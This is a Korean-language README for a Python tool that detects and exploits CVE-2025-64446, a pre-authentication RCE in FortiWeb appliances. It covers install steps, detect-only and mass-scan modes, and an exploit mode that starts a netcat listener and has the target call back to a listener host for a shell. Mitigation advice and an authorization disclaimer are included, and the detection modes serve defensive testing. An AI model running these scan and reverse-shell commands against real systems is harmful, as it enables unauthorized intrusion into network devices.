개요
FortiWeb Research Tool은 FortiWeb 웹 애플리케이션 방화벽 어플라이언스에 영향을 주는 치명적인 사전 인증 원격 코드 실행 문제인 CVE-2025-64446에 대한 승인된 탐지 및 분석을 위한 Python 평가 프레임워크입니다.
| 속성 | 내용 |
|---|
| 작성자 | Sudeepa Wanigarathna |
| CVE | CVE-2025-64446 |
| CVSS | 9.8 (치명적) |
| 분류 | 인증 우회 + 경로 탐색 → 임의 파일 업로드 → RCE |
| 영향 범위 | 7.6.7 / 7.8.7 / 8.0.2 이전 빌드 (공식 권고문에서 확인) |
| 해결 방법 | 패치된 FortiWeb 릴리스로 업그레이드 |
| 언어 | Python 3.7+ |
| 진입점 | exploit.py |
주요 기능
취약점 요약
항상 진단 범위를 설정하기 전에 Fortinet PSIRT에서 영향/수정 버전을 확인하세요.
📸 스크린샷
| 사용법 | 스캔 결과 |
|---|
 |  |
설치
git clone https://github.com/CerberusMrXi/FortiWeb-cve-2025-64446-RCE-exploit
cd FortiWeb-cve-2025-64446-RCE-exploit
python3 -m venv venv
source venv/bin/activate # Linux / macOS
# venv\Scripts\activate # Windows
pip install -r requirements.txt
python3 exploit.py --help
의존성
선택(개발용): pytest, black, flake8, mypy, python-dotenv — requirements.txt 참조.
빠른 시작
# Vulnerability check only (recommended first)
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
# Safe / read-only checks
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
# Mass scanning
python3 exploit.py --targets targets.txt --scan-mode --threads 10
# Authorized exploitation (requires listener host)
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
참고: 익스플로잇 모드에는 --lhost가 필요합니다. 전체 체인을 실행하지 않을 경우 --detect-only 또는 --safe-mode를 사용하세요.
사용 가이드
탐지 모드
python3 exploit.py --target https://192.168.1.100:8443 --detect-only
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --verbose
python3 exploit.py --target https://192.168.1.100:8443 --safe-mode
python3 exploit.py --target https://192.168.1.100:8443 --detect-only --timeout 30
탐지 모드는 연결 가능성, 버전 힌트, API 노출, 경로 탐색 지표, 인증 우회 신호 및 업로드 엔드포인트 접근성을 평가합니다. 이러한 지표를 기반으로 위험도는 치명적 / 높음 / 중간 / 낮음으로 분류됩니다.
대량 스캔
cat > targets.txt << 'EOF'
https://192.168.1.100:8443
https://192.168.1.101:8443
https://192.168.1.102:8443
EOF
python3 exploit.py --targets targets.txt --scan-mode
python3 exploit.py --targets targets.txt --scan-mode --threads 20 --verbose
python3 exploit.py --targets targets.txt --scan-mode --output-dir ./reports
ScannerManager는 스레드 풀을 통해 FortiWebScanner 워커를 실행하고, Rich 요약 테이블을 출력하며, scan_report.json / scan_report.html을 작성합니다.
익스플로잇 모드 (승인된 실험실 전용)
# Start your listener first (example)
nc -lvnp 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --proxy http://127.0.0.1:8080
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --dry-run
python3 exploit.py --target https://192.168.1.100:8443 --lhost 192.168.1.50 --lport 4444 --user-agent "Research/1.0"
구성 파일
# config.yaml
target: https://192.168.1.100:8443
lhost: 192.168.1.50
lport: 4444
timeout: 15
threads: 5
verify_ssl: false
verbose: true
proxy: http://127.0.0.1:8080
user_agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
output_dir: reports
log_dir: logs
detect_only: false
safe_mode: false
dry_run: false
python3 exploit.py --config config.yaml
python3 exploit.py --config config.yaml --target https://10.0.0.1:8443 --lport 9999
CLI 플래그가 YAML에서 로드된 값을 덮어씁니다.
아키텍처
exploit.py
├── ExploitConfig / ExploitResult / RequestMetrics # dataclasses
├── LogManager # exploit.log, errors.log, requests.log
├── Banner / StatusDisplay # Rich / colorama UI
├── FortiWebScanner # detect-only checks (no exploit chain)
├── ScannerManager # threaded multi-target scans + reports
├── FortiWebExploit # single-target detect / exploit workflow
└── main() # argparse + mode dispatch
| 구성 요소 | 역할 |
|---|
FortiWebScanner | 연결 가능성, 버전, CVE 지표 확인 |
ScannerManager | 병렬 스캔, JSON/HTML 집계, 요약 테이블 |
|
단일 대상의 상위 수준 흐름:
- 배너 / 로깅 설정
- 연결 가능성 및 버전 프로브
- 지표 확인 (탐지/안전 모드가 아닐 경우 전체 체인)
reports/ 아래에 JSON + HTML 보고서
- 해당 시 정리
기능
탐지
- 관리 API 경로에 대한 경로 탐색 지표 확인
- 인증 우회 신호 확인
- 일반적인 상태/버전 엔드포인트를 통한 FortiWeb 버전 프로빙
- API 엔드포인트 노출 매핑
- 파일 업로드 엔드포인트 접근성 확인
- 결합된 지표 기반 위험 점수 산정
리포팅 및 관측성
- 타임스탬프가 포함된 JSON 및 HTML 보고서
- 요청별 메트릭 (상태, 지연 시간, 성공률)
- 별도 로그:
exploit.log, errors.log, requests.log
운영 제어
- 멀티스레드 대량 스캔 (
--threads)
- HTTP/HTTPS 프록시 지원 (예: Burp)
- 구성 가능한 시도 횟수/지연으로 재시도 (기본값: 3회 / 2초)
- 사용자 지정 User-Agent, 타임아웃, SSL 검증 토글 (
--no-verify)
- Colorama + Rich 기반 색상 콘솔 출력
생성되는 출력
reports/
├── report_YYYYMMDD_HHMMSS.json
├── report_YYYYMMDD_HHMMSS.html
├── scan_report.json
└── scan_report.html
logs/
├── exploit.log
├── errors.log
└── requests.log
샘플 JSON 보고서 (탐지)
{
"metadata": {
"tool_name": "FortiWeb Research Tool",
"version": "1.0",
"author": "Sudeepa Wanigarathna",
"timestamp": "2026-07-31T00:02:17",
"mode": "detect"
},
"target": {
"url": "https://192.168.1.100:8443",
"reachable": true,
"version": "7.6.0",
"vulnerable": true,
"risk_level": "Critical"
},
"metrics": {
"total_requests": 12,
"average_response_time": 0.42,
"success_rate": 0.91
}
}
명령어 참조
python3 exploit.py [OPTIONS]
프로젝트 구조
.
├── exploit.py # Research tool (detect / scan / exploit)
├── config.yaml # Example configuration
├── requirements.txt # Python dependencies
├── reports/ # Generated JSON / HTML reports
├── logs/ # Runtime logs
├── LICENSE
├── SECURITY.md
├── .gitignore
└── README.md
완화 지침
- FortiWeb을 패치된 릴리스로 업그레이드하세요 (7.6.7+, 7.8.7+, 8.0.2+ 또는 최신 PSIRT 지침).
- 관리 인터페이스를 신뢰할 수 있는 네트워크 / 점프 호스트로 제한하세요.
- 비정상적인 접근을 위해 인증 및 유지보수 API 활동을 모니터링하세요.
- 확인된 노출 후 자격 증명을 교체하고 무결성을 검토하세요.
- 패치 적용 후 완화 조치를 검증하려면
--detect-only / --safe-mode를 다시 실행하세요.
법적 및 윤리적 고지
이 도구는 승인된 보안 테스트, 연구 및 교육 목적으로만 사용됩니다.
- 소유했거나 테스트에 대한 명시적 서면 허가를 받은 시스템에서만 사용하세요
- 책임 있는 공개 및 버그 바운티 프로그램 규칙을 따르세요
- 무단 접근, 피해 또는 불법 활동에 사용하지 마세요
이 소프트웨어를 사용함으로써 귀하는 승인을 받았으며 오용하지 않을 것을 확인하고, 귀하의 행동에 대한 모든 책임을 수락합니다. 작성자는 오용에 대해 책임지지 않습니다.
이 프로젝트와 관련된 비공개 취약점 신고는 SECURITY.md를 참조하세요.
리소스
기여
- 저장소를 포크하세요
- 브랜치를 생성하세요:
git checkout -b feature/your-change
- 명확한 메시지로 커밋하세요
- 푸시하고 풀 리퀘스트를 여세요
변경 사항은 승인된 실험실 환경에서만 검증하고, 실사용 대상 데이터, 쿠키 또는 자격 증명을 커밋하지 마세요.
라이선스
MIT 라이선스 — LICENSE 참조.
Copyright (c) 2026 Sudeepa Wanigarathna
작성자 및 지원
승인된 연구 전용 · FortiWeb CVE-2025-64446
맨 위로